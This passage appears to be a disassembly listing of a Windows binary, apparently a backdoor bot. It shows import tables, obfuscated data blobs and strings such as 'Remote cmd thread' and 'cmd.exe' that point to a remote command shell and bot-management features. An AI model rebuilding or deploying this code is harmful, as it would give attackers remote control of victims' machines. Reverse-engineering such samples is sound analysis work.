dword_411048	dd 77E7A837h		; DATA XREF: sub_404715+30r
					; sub_4048CF+80r ...
dword_41104C	dd 77E73CE2h		; DATA XREF: sub_404715+67r
dword_411050	dd 77E7011Ah		; DATA XREF: sub_404715+9Dr
dword_411054	dd 77E704FCh		; DATA XREF: sub_4045E4+16r
					; sub_404691+15r ...
dword_411058	dd 77E77CCEh		; DATA XREF: sub_40311D+38r
dword_41105C	dd 77E805D8h		; DATA XREF: sub_402D7B+2r
					; sub_403E9B+12r ...
dword_411060	dd 77E7A5FDh		; DATA XREF: sub_402D7B+Fr
					; sub_403E9B+1Fr ...
dword_411064	dd 77E75CB5h		; DATA XREF: sub_40287C+190r
					; sub_404BC3+E6r ...
dword_411068	dd 77E6BD13h		; DATA XREF: sub_402230+CCr
					; sub_4049B5+123r
dword_41106C	dd 77F5157Dh		; DATA XREF: sub_402230+DAr
					; sub_406B1B+8Br ...
dword_411070	dd 77E79D8Ch		; DATA XREF: sub_4018A7+20r
					; sub_4048CF+BCr ...
dword_411074	dd 77E6CBF9h		; DATA XREF: sub_401621+50r
dword_411078	dd 77E7727Ah		; DATA XREF: sub_401621+64r
dword_41107C	dd 77E76C1Ah		; DATA XREF: sub_4058D7+2Fr
dword_411080	dd 77E79CE3h		; DATA XREF: sub_401621+BAr
dword_411084	dd 77E61BB8h		; DATA XREF: sub_401621+11Cr
					; sub_4049B5+1FCr
dword_411088	dd 77EB7624h		; DATA XREF: sub_401621+193r
dword_41108C	dd 77E7FF65h		; DATA XREF: sub_401621+1B3r
dword_411090	dd 77E78B82h		; DATA XREF: sub_401621+210r
dword_411094	dd 77E79F93h		; DATA XREF: sub_4011C4+A5r
					; sub_40287C+151r ...
dword_411098	dd 77E7A099h		; DATA XREF: sub_4011C4+ACr
					; sub_40287C+158r ...
dword_41109C	dd 77E706B7h		; DATA XREF: sub_4011C4+E5r
					; sub_403F1D+110r ...
dword_4110A0	dd 77E61A54h		; DATA XREF: sub_4011C4+12Dr
					; sub_404240+7Cr
dword_4110A4	dd 77E61BE6h		; DATA XREF: sub_4011C4+1F0r
					; sub_4011C4+299r ...
dword_4110A8	dd 77E616B4h		; DATA XREF: sub_4011C4+22Dr
					; sub_404317+2Er
dword_4110AC	dd 77E77963h		; DATA XREF: sub_4011C4+255r
					; sub_4011C4+274r ...
dword_4110B0	dd 77E70396h		; DATA XREF: sub_40110A+15r
					; sub_4049B5:loc_404B47r
dword_4110B4	dd 77E79A45h		; DATA XREF: sub_410C6E+1Er
dword_4110B8	dd 77E73628h		; DATA XREF: sub_40110A+24r
					; sub_401985+30r ...
dword_4110BC	dd 77E7AC37h		; DATA XREF: sub_406E50+D0r
dword_4110C0	dd 77E75090h		; DATA XREF: sub_408EC8+71r
dword_4110C4	dd 77E74D76h		; DATA XREF: sub_408EC8+3Dr
dword_4110C8	dd 77E77797h		; DATA XREF: sub_408EC8+2Cr
dword_4110CC	dd 77E686CCh		; DATA XREF: sub_406096+3Er
					; sub_406110+10Fr
dword_4110D0	dd 77E6C0E3h		; DATA XREF: sub_406096+15r
					; sub_406110+6Cr ...
dword_4110D4	dd 77E7751Ah		; DATA XREF: sub_406324:loc_406385r
					; sub_40639B:loc_4063FCr ...
dword_4110D8	dd 77E6D75Bh		; DATA XREF: sub_406324+14r
					; sub_40639B+14r ...
dword_4110DC	dd 77E802FCh		; DATA XREF: sub_406324+Ar
					; sub_40639B+Ar ...
dword_4110E0	dd 77E7176Ch		; DATA XREF: sub_4064A0+40r
dword_4110E4	dd 77E75CEBh		; DATA XREF: sub_406868+6Br
					; sub_406868+F8r
dword_4110E8	dd 77E79908h		; DATA XREF: sub_406AB6+26r
dword_4110EC	dd 77F7E21Fh		; DATA XREF: sub_406AE4+4r
dword_4110F0	dd 77E80656h		; DATA XREF: sub_4011C4:loc_40124Ar
					; sub_404317+14r
dword_4110F4	dd 77F7E300h		; DATA XREF: sub_406AEF+4r
dword_4110F8	dd 77E79C90h		; DATA XREF: sub_401621+A2r
dword_4110FC	dd 77E78C17h		; DATA XREF: seg000:00410580r
dword_411100	dd 77E7C2C4h		; DATA XREF: seg000:004105E5r
dword_411104	dd 77E73167h		; DATA XREF: sub_40F54D:loc_40F7F0r
					; sub_40F54D+320r ...
dword_411108	dd 77E73BEFh		; DATA XREF: sub_40F54D+58Dr
dword_41110C	dd 77E7AC5Eh		; DATA XREF: sub_40F11A+96r
dword_411110	dd 77E76432h		; DATA XREF: sub_408F9D+1E2r
					; sub_40F54D+2C2r ...
		align 8
dword_411118	dd 77C1C055h		; DATA XREF: sub_410C9Ar
dword_41111C	dd 77C423F5h		; DATA XREF: sub_410CA0r
dword_411120	dd 77C219F5h		; DATA XREF: sub_410CC2r
dword_411124	dd 77C20C5Bh		; DATA XREF: sub_410CC8r
dword_411128	dd 77C21AD8h		; DATA XREF: seg000:loc_410B30r
dword_41112C	dd 77C1CF9Eh		; DATA XREF: sub_410B2Ar
dword_411130	dd 77C43790h		; DATA XREF: sub_410B24r
dword_411134	dd 77C43CB2h		; DATA XREF: sub_410B1Er
dword_411138	dd 77C43DBCh		; DATA XREF: sub_410B18r
dword_41113C	dd 77C41FA0h		; DATA XREF: sub_410820r
dword_411140	dd 77C43150h		; DATA XREF: sub_410B12r
dword_411144	dd 77C33FDEh		; DATA XREF: sub_410B0Cr
dword_411148	dd 77C33FC1h		; DATA XREF: sub_410B06r
dword_41114C	dd 77C3CE0Ch		; DATA XREF: sub_410B00r
dword_411150	dd 77C42D60h		; DATA XREF: sub_410AFAr
dword_411154	dd 77C1C6F3h		; DATA XREF: sub_410AF4r
dword_411158	dd 77C435C0h		; DATA XREF: sub_410AEEr
dword_41115C	dd 77C3E5D9h		; DATA XREF: sub_410AE8r
dword_411160	dd 77C28925h		; DATA XREF: sub_410AE2r
dword_411164	dd 77C28933h		; DATA XREF: sub_410ADCr
dword_411168	dd 77C3CCE7h		; DATA XREF: sub_410AD6r
dword_41116C	dd 77C37FEDh		; DATA XREF: sub_410AD0r
dword_411170	dd 77C33EB0h		; DATA XREF: sub_410ACAr
dword_411174	dd 77C4B940h		; DATA XREF: sub_410A10r
dword_411178	dd 77C4B120h		; DATA XREF: sub_4109E8r
dword_41117C	dd 77C37ADCh		; DATA XREF: sub_4108ECr
dword_411180	dd 77C2AC58h		; DATA XREF: sub_4108E6r
dword_411184	dd 77C438C0h		; DATA XREF: sub_4108E0r
dword_411188	dd 77C3C93Ch		; DATA XREF: sub_41089Er
dword_41118C	dd 77C43AB0h		; DATA XREF: sub_410898r
dword_411190	dd 77C3E8C0h		; DATA XREF: sub_410892r
dword_411194	dd 77C1BE00h		; DATA XREF: sub_41088Cr
dword_411198	dd 77C3E140h		; DATA XREF: sub_410886r
dword_41119C	dd 77C3DFB5h		; DATA XREF: sub_410880r
dword_4111A0	dd 77C3BF06h		; DATA XREF: sub_41086Er
dword_4111A4	dd 77C3D8F6h		; DATA XREF: sub_410868r
dword_4111A8	dd 77C3E4B9h		; DATA XREF: sub_410862r
dword_4111AC	dd 77C3E303h		; DATA XREF: sub_41085Cr
dword_4111B0	dd 77C41FB0h		; DATA XREF: sub_410856r
dword_4111B4	dd 77C43490h		; DATA XREF: sub_410850r
dword_4111B8	dd 77C46553h		; DATA XREF: sub_41084Ar
dword_4111BC	dd 77C3C813h		; DATA XREF: sub_410844r
dword_4111C0	dd 77C43900h		; DATA XREF: sub_41083Er
dword_4111C4	dd 77C42E10h		; DATA XREF: sub_410838r
dword_4111C8	dd 77C2AA6Bh		; DATA XREF: sub_410832r
dword_4111CC	dd 77C2AC46h		; DATA XREF: sub_41082Cr
dword_4111D0	dd 77C43710h		; DATA XREF: sub_410826r
dword_4111D4	dd 77C421A2h		; DATA XREF: sub_410C94r
		dd 0
dword_4111DC	dd 7713BC68h		; DATA XREF: sub_410B6E+44r
		dd 0
dword_4111E4	dd 77428B97h		; DATA XREF: sub_4018D5+28r
					; sub_402230+50Dr ...
		dd 0
dword_4111EC	dd 77D4C96Ah		; DATA XREF: sub_4048CF+9Fr
					; sub_406110+50r ...
dword_4111F0	dd 77D5C13Ah		; DATA XREF: sub_40735A+DFr
					; sub_40FD00+4Br
dword_4111F4	dd 77D4456Bh		; DATA XREF: sub_40735A+D8r
dword_4111F8	dd 77D4BDCAh		; DATA XREF: sub_408EBA+7r
dword_4111FC	dd 77D4702Fh		; DATA XREF: sub_408EC8+5Ar
dword_411200	dd 77D79D1Ch		; DATA XREF: sub_40F54D+3E9r
		align 8
dword_411208	dd 71AB3E5Dh		; DATA XREF: sub_403AFB+8Br
					; sub_403BBB+B9r ...
dword_41120C	dd 71AB1B7Bh		; DATA XREF: sub_410B58r
dword_411210	dd 71AB8629h		; DATA XREF: sub_403D27+6r
					; sub_40DA6E+110r ...
dword_411214	dd 71AB1890h		; DATA XREF: sub_40371E+12Dr
					; sub_4039D2+81r ...
dword_411218	dd 71AB3F8Dh		; DATA XREF: sub_4035FB+B8r
					; sub_40D201+9Dr
dword_41121C	dd 71AB3ECEh		; DATA XREF: sub_4035FB+C5r
					; sub_40D201+AAr ...
dword_411220	dd 71AB1AF4h		; DATA XREF: sub_403D54+Er
					; sub_40735A+D58r ...
dword_411224	dd 71ABF628h		; DATA XREF: sub_403495+1Er
					; sub_403536+1Er
dword_411228	dd 71AB155Ah		; DATA XREF: sub_403402+1Ar
					; sub_403424+Fr
dword_41122C	dd 71AB3C22h		; DATA XREF: sub_40331D+7r
					; sub_4035FB+83r ...
dword_411230	dd 71AB401Ch		; DATA XREF: sub_402C11+4Fr
					; sub_404D33+154r ...
dword_411234	dd 71ABD755h		; DATA XREF: sub_402C11+86r
					; sub_406BE0+1A4r
dword_411238	dd 71AB1740h		; DATA XREF: sub_402C11:loc_402CD9r
					; sub_403AFB+96r ...
dword_41123C	dd 71AB868Dh		; DATA XREF: sub_40371E+89r
					; sub_40371E+1A3r
dword_411240	dd 71AB1A6Dh		; DATA XREF: sub_403D49+4r
					; sub_40735A+D5Fr ...
dword_411244	dd 71AB350Dh		; DATA XREF: sub_402A12+38r
					; sub_402A12+12Er ...
dword_411248	dd 71AB1746h		; DATA XREF: sub_402A12+91r
					; sub_402A12+168r ...
dword_41124C	dd 71AB2BBFh		; DATA XREF: sub_402A12+E8r
					; sub_406BE0+CBr ...
dword_411250	dd 71AB157Eh		; DATA XREF: sub_401B81+7Dr
					; sub_403443+1Er ...
dword_411254	dd 71AB12F8h		; DATA XREF: sub_401B81+163r
					; sub_406BE0+B6r ...
dword_411258	dd 71AB5690h		; DATA XREF: sub_401985+CFr
					; sub_403D69+1Ar ...
dword_41125C	dd 71AB12A7h		; DATA XREF: sub_401985+FEr
					; sub_401B81+16Ar
dword_411260	dd 71AB1836h		; DATA XREF: sub_4049B5+202r
					; sub_404BC3+DFr ...
dword_411264	dd 71AB1444h		; DATA XREF: sub_40D201+19Ar
dword_411268	dd 71AB1ED3h		; DATA XREF: sub_40D201+121r
dword_41126C	dd 71AB14DCh		; DATA XREF: sub_40FFBC+D8r
dword_411270	dd 71AB32CAh		; DATA XREF: sub_40FFBC+6Br
dword_411274	dd 71AB41DAh		; DATA XREF: seg000:004106F5r
dword_411278	dd 71AB5DE2h		; DATA XREF: sub_4035FB+D3r
		align 10h
flt_411280	dd 1.0e-3		; DATA XREF: sub_401985+18Er
					; sub_401985+1B0r ...
flt_411284	dd 9.765625e-4		; DATA XREF: sub_405E4E+1A6r
dword_411288	dd 0FFFFFFFFh, 406511h,	406527h, 0 ; DATA XREF:	sub_4064A0+5o
dword_411298	dd 0FFFFFFFFh, 40660Ah,	406622h, 0 ; DATA XREF:	sub_406596+5o
dword_4112A8	dd 0FFFFFFFFh, 4107DBh,	4107F1h, 0 ; DATA XREF:	seg000:00410554o
		dd offset loc_4107A7
		dd offset loc_4107BD
		dd offset dword_411300
off_4112C4	dd offset sub_410C25	; DATA XREF: sub_410BF3+12o
					; seg000:00410C5Ao ...
		dd offset dword_411348
off_4112CC	dd offset sub_410CA6	; DATA XREF: .data:off_417B10o
					; .data:off_417B30o
off_4112D0	dd offset off_417B10	; DATA XREF: seg001:004112E8o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_4112D0
dword_4112EC	dd 3 dup(0)		; DATA XREF: seg001:00411310o
		dd 1, 4112E8h
dword_411300	dd 3 dup(0)		; DATA XREF: seg001:004112C0o
		dd offset off_417B10
		dd offset dword_4112EC+4
		align 8
off_411318	dd offset off_417B30	; DATA XREF: seg001:00411330o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_411318
		dd 0
		db    0			; DATA XREF: seg001:00411358o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 411330h
dword_411348	dd 3 dup(0)		; DATA XREF: seg001:004112C8o
		dd offset off_417B30
		dd offset unk_411338
		align 10h
dword_411360	dd 19930520h, 4, 411380h, 5 dup(0) ; DATA XREF:	seg000:loc_410CF0o
		dd 0FFFFFFFFh, 410CD0h,	0
		dd offset loc_410CD8
		dd 1, 410CE0h, 2, 410CE8h, 0
		dd offset off_417B10
		dd 0
		dd 0FFFFFFFFh, 0
		dd 10h,	410C41h, 0
dword_4113C0	dd 1, 4113A0h		; DATA XREF: seg001:004113D4o
dword_4113C8	dd 0			; DATA XREF: sub_410BCF+19o
		dd offset sub_410C6E
		dd 0
		dd offset dword_4113C0
		db 90h
		db 15h,	1, 0
		dd 2 dup(0)
		dd 118C0h, 11118h, 11680h, 2 dup(0)
		dd 118D8h, 11208h, 114A8h, 2 dup(0)
		dd 11CD0h, 11030h, 11664h, 2 dup(0)
		dd 11D46h, 111ECh, 11478h, 2 dup(0)
		dd 11E1Ah, 11000h, 1165Ch, 2 dup(0)
		dd 11E38h, 111E4h, 11654h, 2 dup(0)
		dd 11E9Eh, 111DCh, 5 dup(0)
		dd 11D72h, 11D60h, 11D82h, 11D92h, 11DA6h, 11DB8h, 11DCAh
		dd 11DDAh, 11DF0h, 11E02h, 11D52h, 0
		dd 11B26h, 11B16h, 11B04h, 11AECh, 11AE0h, 11AC8h, 11ABAh
		dd 11AACh, 11A9Eh, 11A88h, 11A72h, 11A62h, 11A50h, 11A42h
		dd 11A36h, 11A26h, 11A1Ah, 11A0Ch, 119FEh, 11B3Ah, 119D8h
		dd 119C6h, 119B6h, 119A0h, 11994h, 1196Ah, 11954h, 11946h
		dd 11932h, 1192Ah, 11916h, 11908h, 118F2h, 11E92h, 118E4h
		dd 11C2Ah, 11C3Ah, 11C4Ch, 11C5Ch, 11B50h, 11B66h, 11B76h
		dd 11B86h, 11BA2h, 11BBCh, 11BCCh, 11BDEh, 11BFAh, 1197Eh
		dd 11C12h, 119EAh, 11CC0h, 11CB0h, 11CA4h, 11C98h, 11C7Eh
		dd 11C72h, 0
		dd 11E50h, 11E58h, 11E64h, 11E7Ah, 118ACh, 118A0h, 11896h
		dd 1188Ch, 11882h, 116F8h, 11878h, 11870h, 11868h, 1185Ah
		dd 11850h, 11846h, 1183Ch, 11832h, 11822h, 11812h, 11806h
		dd 117F4h, 117E0h, 117D8h, 117D0h, 117C8h, 117BEh, 117B4h
		dd 117A8h, 1179Eh, 11794h, 1178Ch, 11784h, 1177Ch, 11774h
		dd 1176Ah, 11760h, 11758h, 1174Eh, 11744h, 1173Ch, 11732h
		dd 11728h, 1171Eh, 11716h, 1170Ch, 11702h, 11E44h, 0
		dd 800000C8h, 0
		dd 11E28h, 0
		dd 11CDEh, 11CEAh, 11CFCh, 11D12h, 11D20h, 11D30h, 0
		dd 80000004h, 80000097h, 80000016h, 80000012h, 80000015h
		dd 80000002h, 80000013h, 80000005h, 8000000Ah, 80000017h
		dd 8000000Ch, 80000033h, 8000006Fh, 80000001h, 80000003h
		dd 80000070h, 80000009h, 80000034h, 80000006h, 8000000Bh
		dd 80000010h, 80000008h, 80000074h, 80000011h, 80000014h
		dd 118CCh, 80000039h, 80000073h, 8000000Dh, 0
		db 0BAh	; º
		db 2, 73h, 74h
aRcpy		db 'rcpy',0
		align 2
		dw 2BEh
aStrlen		db 'strlen',0
		align 4
		db  91h	; ‘
		db 2, 6Dh, 61h
aLloc		db 'lloc',0
		align 2
		dw 25Eh
aFree		db 'free',0
		align 2
		dw 297h
aMemcpy		db 'memcpy',0
		align 4
		db 0C1h	; Á
		db 2, 73h, 74h
aRncpy		db 'rncpy',0
		dw 2B2h
aSprintf	db 'sprintf',0
		db  43h	; C
		db 2, 63h, 6Ch
		db  6Fh	; o
		db 63h,	6Bh, 0
		db  99h	; ™
		db 2, 6Dh, 65h
aMset		db 'mset',0
		align 2
		dw 2B6h
aStrcat		db 'strcat',0
		align 4
		db  64h	; d
		db 2, 66h, 74h
		db  65h	; e
		db 2 dup(6Ch), 0
		db  66h	; f
		db 2, 66h, 77h
aRite		db 'rite',0
		align 2
		dw 24Ch
aFclose		db 'fclose',0
		align 4
		db  57h	; W
		db 2, 66h, 6Fh
		db  70h	; p
		db 65h,	6Eh, 0
		db  5Dh	; ]
		db 2, 66h, 72h
		db  65h	; e
		db 61h,	64h, 0
		db  62h	; b
		db 2, 66h, 73h
		db  65h	; e
		db 65h,	6Bh, 0
		db  3Dh	; =
		db 2, 61h, 74h
		db  6Fh	; o
		db 69h,	2 dup(0)
		db 0B5h	; µ
		db 2, 2	dup(73h)
aCanf		db 'canf',0
		align 2
		dw 2C5h
aStrstr		db 'strstr',0
		align 4
		db 0AEh	; ®
		db 1, 5Fh, 73h
aNprintf	db 'nprintf',0
		db 0C0h	; À
		db 2, 73h, 74h
aRncmp		db 'rncmp',0
		dw 2A7h
aRealloc	db 'realloc',0
		db  49h	; I
		db 2, 65h, 78h
		db  69h	; i
		db 74h,	2 dup(0)
		db 0F1h	; ñ
		align 2
a_ftol		db '_ftol',0
		db  41h	; A
		db 2, 63h, 65h
		db  69h	; i
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------
		retf	5F00h
; ---------------------------------------------------------------------------
aExcept_handler	db 'except_handler3',0
		align 4
aJ		db '¦',0
a_beginthreadex	db '_beginthreadex',0
		align 2
		dw 2DCh
aVsprintf	db 'vsprintf',0
		align 2
		dw 10h
		db  3Fh	; ?
		db 3Fh,	33h, 40h
		db  59h	; Y
		db 41h,	58h, 50h
		db  41h	; A
		db 58h,	40h, 5Ah
		db    0
		align 2
		dw 0Fh
		db  3Fh	; ?
		db 3Fh,	32h, 40h
		db  59h	; Y
		db 41h,	50h, 41h
		db  58h	; X
		db 49h,	40h, 5Ah
		db    0
		align 2
		dw 29Eh
aPrintf		db 'printf',0
		align 4
		db 0B8h	; ¸
		db 2, 73h, 74h
aRcmp		db 'rcmp',0
		align 2
		dw 2D3h
aTolower	db 'tolower',0
		db  96h	; –
		db 2, 6Dh, 65h
aMcmp		db 'mcmp',0
		align 2
		dw 1E1h
a_vsnprintf	db '_vsnprintf',0
		align 4
		db  9Bh	; ›
		db 1, 5Fh, 72h
		db  6Fh	; o
		db 74h,	6Ch, 0
		db  9Ch	; œ
		db 1, 5Fh, 72h
		db  6Fh	; o
		db 74h,	72h, 0
		db  98h	; ˜
		db 2, 6Dh, 65h
aMmove		db 'mmove',0
		dw 2E6h
aWcslen		db 'wcslen',0
		align 4
		db 0E3h	; ã
		db 2, 77h, 63h
aScpy		db 'scpy',0
		align 2
		dw 2BFh
aStrncat	db 'strncat',0
		db  93h	; “
		db 2, 6Dh, 62h
aStowcs		db 'stowcs',0
		align 4
aI		db 'I',0
a__cxxframehand	db '__CxxFrameHandler',0
aMsvcrt_dll	db 'MSVCRT.dll',0
		align 4
		db '(',0
aWsaioctl	db 'WSAIoctl',0
		align 4
aWs2_32_dll_0	db 'WS2_32.dll',0
		align 4
		db '|',0
aDeletefilea	db 'DeleteFileA',0
		dw 30Eh
aSetfileattribu	db 'SetFileAttributesA',0
		align 4
a__0		db '.',0
aClosehandle	db 'CloseHandle',0
		dw 351h
aTerminateproce	db 'TerminateProcess',0
		align 2
		dw 349h
aSleep		db 'Sleep',0
		dw 2AEh
aReadprocessmem	db 'ReadProcessMemory',0
		dw 27Ch
aOpenprocess	db 'OpenProcess',0
		db  75h	; u
		db 1, 47h, 65h
aTmodulefilenam	db 'tModuleFileNameA',0
		align 2
		dw 177h
aGetmodulehandl	db 'GetModuleHandleA',0
		align 2
		dw 13Bh
aGetcurrentproc	db 'GetCurrentProcessId',0
		db 0ABh	; «
		db 2, 52h, 65h
aAdfile		db 'adFile',0
		align 10h
		db  52h	; R
		db 1, 47h, 65h
aTexitcodeproce	db 'tExitCodeProcess',0
		align 2
		dw 287h
aPeeknamedpipe	db 'PeekNamedPipe',0
		db '`',0
aCreateprocessa	db 'CreateProcessA',0
		align 4
aM		db 'Œ',0
aDuplicatehandl	db 'DuplicateHandle',0
		dw 13Ah
aGetcurrentpr_0	db 'GetCurrentProcess',0
a__1		db '_',0
aCreatepipe	db 'CreatePipe',0
		align 4
		dd 655302D0h, 68637261h, 68746150h, 3970041h, 74697257h
		dd 6C694665h, 1690065h,	4C746547h, 45747361h, 726F7272h
		dd 3D0000h, 79706F43h, 656C6946h, 0AF0041h, 74697845h
		dd 636F7250h, 737365h, 65470198h, 6F725074h, 64644163h
		dd 73736572h, 2480000h,	64616F4Ch, 7262694Ch, 41797261h
		dd 26B0000h
aMultibytetowid	db 'MultiByteToWideChar',0
		db 0B9h	; ¹
		db 1, 47h, 65h
aTsystemdirecto	db 'tSystemDirectoryA',0
		dw 314h
aSetfiletime	db 'SetFileTime',0
		db  5Dh	; ]
		db 1, 47h, 65h
aTfiletime	db 'tFileTime',0
aM_0		db 'M',0
aCreatefilea	db 'CreateFileA',0
		db 0E9h	; é
		db 1, 47h, 65h
aTwindowsdirect	db 'tWindowsDirectoryA',0
		align 10h
		db 0BFh	; ¿
		db 3, 6Ch, 73h
aTrlena		db 'trlenA',0
		align 4
		db 0FFh
		db 2, 53h, 65h
aTcurrentdirect	db 'tCurrentDirectoryA',0
		align 4
		dd 6547016Ch, 636F4C74h, 49656C61h, 416F666Eh, 1DF0000h
		dd 56746547h, 69737265h, 78456E6Fh, 10C0041h, 43746547h
		dd 75706D6Fh, 4E726574h, 41656D61h, 1FA0000h
aGlobalmemoryst	db 'GlobalMemoryStatus',0
		align 10h
		db  46h	; F
		db 1, 47h, 65h
aTdiskfreespace	db 'tDiskFreeSpaceExA',0
		dw 14Bh
aGetdrivetypea	db 'GetDriveTypeA',0
		dw 1D5h
aGettickcount	db 'GetTickCount',0
		align 2
		dw 29Ah
aQueryperforman	db 'QueryPerformanceFrequency',0
		dw 299h
aQueryperform_0	db 'QueryPerformanceCounter',0
		dd 73490226h, 43646142h, 5065646Fh, 7274h, 65540352h, 6E696D72h
		dd 54657461h, 61657268h, 2190064h
aInitializecr_0	db 'InitializeCriticalSection',0
aP		db '',0
aEntercriticals	db 'EnterCriticalSection',0
		align 2
		dw 247h
aLeavecriticals	db 'LeaveCriticalSection',0
		align 2
aI_0		db 'i',0
aCreatethread	db 'CreateThread',0
		align 2
		dw 365h
aUnmapviewoffil	db 'UnmapViewOfFile',0
		db  5Eh	; ^
		db 2, 4Dh, 61h
aPviewoffile	db 'pViewOfFile',0
aN		db 'N',0
aCreatefilemapp	db 'CreateFileMappingA',0
		align 2
		dw 3B3h
aLstrcmpa	db 'lstrcmpA',0
		align 2
		dw 150h
aGetenvironment	db 'GetEnvironmentVariableA',0
		db 0BCh	; ¼
		db 3, 6Ch, 73h
aTrcpyna	db 'trcpynA',0
		db 0B9h	; ¹
		db 3, 6Ch, 73h
aTrcpya		db 'trcpyA',0
		align 10h
aZ		db 'Z',0
aCreatemutexa	db 'CreateMutexA',0
		align 10h
		db  0Ah
		db 3, 53h, 65h
aTerrormode	db 'tErrorMode',0
		align 10h
aKernel32_dll_0	db 'KERNEL32.dll',0
		align 2
		dw 2D5h
aWsprintfa	db 'wsprintfA',0
		dw 177h
aGetwindowtexta	db 'GetWindowTextA',0
		align 4
		db  17h
		db 1, 47h, 65h
aTforegroundwin	db 'tForegroundWindow',0
aU		db 'ã',0
aFindwindowa	db 'FindWindowA',0
		db  3Ah	; :
		db 2, 53h, 65h
aNdmessagea	db 'ndMessageA',0
		align 10h
		db  97h	; —
		db 1, 49h, 73h
aCharalphanumer	db 'CharAlphaNumericA',0
aUser32_dll	db 'USER32.dll',0
		align 2
		dw 1C9h
aRegclosekey	db 'RegCloseKey',0
		dd 655201D2h, 6C654467h, 56657465h, 65756C61h, 1E20041h
		dd 4F676552h, 4B6E6570h, 78457965h, 1D90041h, 45676552h
		dd 566D756Eh, 65756C61h, 1EC0041h, 51676552h, 79726575h
		dd 756C6156h, 41784565h, 1F90000h, 53676552h, 61567465h
		dd 4565756Ch, 4178h, 655201CDh,	65724367h, 4B657461h, 78457965h
		dd 1230041h, 55746547h,	4E726573h, 41656D61h, 0A00000h
aCryptreleaseco	db 'CryptReleaseContext',0
aC		db '–',0
aCryptgenrandom	db 'CryptGenRandom',0
		align 2
aE		db '…',0
aCryptacquireco	db 'CryptAcquireContextA',0
		align 2
aAdvapi32_dll	db 'ADVAPI32.dll',0
		align 4
		db    7
		db 1, 53h, 68h
aEllexecutea	db 'ellExecuteA',0
aShell32_dll	db 'SHELL32.dll',0
		db 0BDh	; ½
		db 1, 5Fh, 73h
aTrcmpi		db 'trcmpi',0
		align 10h
		db  34h	; 4
		db 1, 5Fh, 69h
		db  74h	; t
		db 6Fh,	61h, 0
		db 0C5h	; Å
		db 1, 5Fh, 73h
aTrnicmp	db 'trnicmp',0
aA_0		db 'A',0
a_cxxthrowexcep	db '_CxxThrowException',0
		align 2
		dw 0Eh
a??1type_info@@	db '??1type_info@@UAE@XZ',0
		align 2
		dw 252h
aLocalfree	db 'LocalFree',0
aOleaut32_dll	db 'OLEAUT32.dll',0
		align 200h
seg001		ends

; Section 3. (virtual address 00012000)
; Virtual size			: 00007000 (  28672.)
; Section size in file		: 00007000 (  28672.)
; Offset to raw	data for section: 00012000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_data		segment	para public 'CODE' use32
		assume cs:_data
		;org 412000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
off_412000	dd offset dword_412098	; DATA XREF: sub_401000+Cr
					; sub_401000+1Co
		dd offset dword_41205C
		dd offset dword_412040
		dd offset dword_412014
		dd 0
dword_412014	dd 0E6BA9DC5h, 0E2B3B1EDh, 0FC85FED1h, 0EDF6F498h, 0DD9BB0F8h
					; DATA XREF: .data:0041200Co
		dd 0D58AAFC4h, 0F798CFF8h, 0EEDAF282h, 0D39A88CAh, 2 dup(0)
dword_412040	dd 0C68FABC5h, 0C49D9DDFh, 0FA9EC1F8h, 0EDC6EF84h, 0FDB5B0F0h
					; DATA XREF: .data:00412008o
		dd 0B9E4h, 0
dword_41205C	dd 0C68FABC5h, 0C49D9DDFh, 0FA9EC1F8h, 0EDC6EF84h, 0E5B5B0F0h
					; DATA XREF: .data:00412004o
		dd 0CE8B92C1h, 0DAABFFD3h, 0E7C7F283h, 0D7BFB0F8h, 0CE868FDAh
		dd 0ECA5D0CAh, 0F0D0D398h, 0D78AADE0h, 0DBh, 0
dword_412098	dd 0C68FABC5h, 0C49D9DDFh, 0FA9EC1F8h, 0EDC6EF84h, 0E5B5B0F0h
					; DATA XREF: .data:off_412000o
		dd 0CE8B92C1h, 0DAABFFD3h, 0E7C7F283h, 0D7BFB0F8h, 0CE868FDAh
		dd 0ECA5D0CAh, 98h, 0
dword_4120CC	dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h
					; DATA XREF: sub_4011C4+2CAo
		dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h
		dd 2E0203h
dword_4120F8	dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h
					; DATA XREF: sub_4011C4+2B1o
		dd 6E697274h, 30032067h, 73250234h, 2E0203h
dword_41211C	dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h
					; DATA XREF: sub_4011C4+215o
		dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h
dword_412144	dd 3430032Dh, 3752502h,	4C202D02h, 69747369h, 6220676Eh
					; DATA XREF: sub_4011C4+46o
		dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h
		dd 2037325h, 3Ah
dword_412174	dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h
					; DATA XREF: sub_4014B0+6Co
		dd 2343003h, 2037325h, 0
aKilling	db 'Killing',0          ; DATA XREF: sub_4014B0+65o
aListing	db 'Listing',0          ; DATA XREF: sub_4014B0+5Bo
dword_4121A4	dd 303h			; DATA XREF: sub_401571+91o
aCmd_exeProcess	db 'Cmd.exe process has terminated.',0 ; DATA XREF: sub_401621+25Fo
aCouldNotReadDa	db 'Could not read data from process.',0 ; DATA XREF: sub_401621+24Co
		align 4
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_401621+4Ao
aErrorWhileExec	db 'Error while executing command.',0 ; DATA XREF: sub_4018D5+9Co
		align 4
asc_412214	db 0Dh,0Ah,0		; DATA XREF: sub_4018D5+84o
					; sub_402EFD+148o ...
		align 4
aRemoteCmdThrea	db 'Remote cmd thread',0 ; DATA XREF: sub_4018D5+6Bo
		align 4
aOpen		db 'open',0             ; DATA XREF: sub_4018D5+22o
					; sub_402230+507o ...
		align 4
dword_412234	dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h
					; DATA XREF: sub_401985+1C7o
		dd 3206D6Fh, 25023430h,	20020373h, 3206E69h, 25023430h
		dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h
		dd 66332E30h, 424B0203h, 6365732Fh, 0
